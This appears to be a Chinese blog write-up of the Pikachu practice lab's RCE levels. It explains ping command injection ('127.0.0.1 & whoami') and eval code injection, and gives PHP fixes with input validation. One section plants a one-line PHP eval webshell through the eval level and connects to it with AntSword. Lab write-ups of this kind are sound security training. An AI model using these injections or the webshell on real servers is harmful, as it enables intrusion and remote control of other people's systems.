皮卡丘靶场解题记录-RCE
皮卡丘靶场解题记录-RCE
exex “ping”
漏洞原理总结: 就像你在餐厅对着后厨喊”加个蛋”,结果后厨的传菜窗口没有玻璃,你直接把手伸进去自己煎了个蛋。
正常情况:你对着传菜窗口喊”Ping 127.0.0.1”→ 后厨帮你 Ping 一下 → 结果端出来。
RCE 漏洞:传菜窗口是敞开的 → 你喊”Ping 127.0.0.1 然后顺便帮我把服务器上所有文件列出来”→ 后厨照做了,因为你的话被原封不动地拼进了厨师的操作指令里。
跟 XSS 是一个道理:用户输入拼进了不该拼的地方。XSS 是拼进了 HTML 里,RCE 是拼进了系统命令里。我的测试过程(截图):
1
2
3
4
5
6你的输入 服务器实际执行的命令
─────────────────────────────────────────────────
127.0.0.1 → ping 127.0.0.1
127.0.0.1 & whoami → ping 127.0.0.1 & whoami
↑ ↑
正常命令 你注入的命令
核心漏洞代码分析:
没有对用户的输入做处理

补充:
修复:
方案1:
1
2
3
4
5
6
7// 用 PHP 自带的 gethostbyname() 做 DNS 解析代替 ping
// 这个函数只查 IP,不执行任何系统命令
if(filter_var($ip, FILTER_VALIDATE_IP)){
$result = gethostbyname($ip);
}else{
$result = "请输入合法的 IP 地址";
}方案2:
1
2
3
4
5
6
7
8$ip = $_POST['ipaddress'];
// filter_var 会严格检查输入是不是"纯 IP 地址"
// 127.0.0.1 通过 ✅ | 127.0.0.1; whoami 不通过 ❌
if(filter_var($ip, FILTER_VALIDATE_IP)){
$result .= shell_exec('ping '.$ip);
}else{
$result = "请输入合法的 IP 地址";
}方案3:
1
2
3
4// escapeshellcmd() 给特殊符号加转义,让它们变成普通字符
$ip = escapeshellcmd($_POST['ipaddress']);
$result .= shell_exec('ping '.$ip);
// 输入 127.0.0.1; whoami → 变成 127.0.0.1\; whoami → 只会 ping,whoami 不执行实战延伸(价值所在):
【实战价值与门槛】
1 | # ===== Payload 1:验证漏洞(看你是谁) ===== |
exec “eval”
漏洞原理总结: (比如:因为后端直接拼凑了用户输入,没做转义,导致浏览器把我的输入当成代码执行了)。
我的测试过程(截图):
1
输入phpinfo();直接被当成代码执行,出现了php配置信息

核心漏洞代码分析:
输入被当成代码直接执行了
很经典的语句。
1
2
3
4
5
6
7$POST['submit']拿到输入框内容
eval()把输入内容直接当成代码执行
@ 如果执行报错,别显示错误信息(静默)
!取反——执行结果为空就显示提示修复:
删掉 eval() ,你想实现什么功能,就用对应的正常函数去实现。
1
2
3
4
5
6
7// 修复后
$html = '';
if(isset($_POST['submit']) && $_POST['txt'] != null){
$txt = htmlspecialchars($_POST['txt'], ENT_QUOTES, 'UTF-8');
$html .= "<p>你喜欢的字符串是:{$txt},挺特别的!</p>";
}
echo $html;==RCE 修复的黄金法则:永远不要让用户输入靠近”执行”这个动作。系统命令用白名单校验,代码执行函数(eval、assert、exec)能不用就不用。==
实战延伸(价值所在):
【实战价值与门槛】
1 | // ===== Payload 1:验证漏洞 ===== |
webshell练习:
在第二关的输入框写入
1 | file_put_contents('shell.php', '<?php @eval($_POST["cmd"]);?>'); |
1 | 再次输入system('ls -la shell.php');验证文件存在 |
写入成功
打开蚁剑连接,右键添加数据
连接成功:

可以看到文件
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Michele!
评论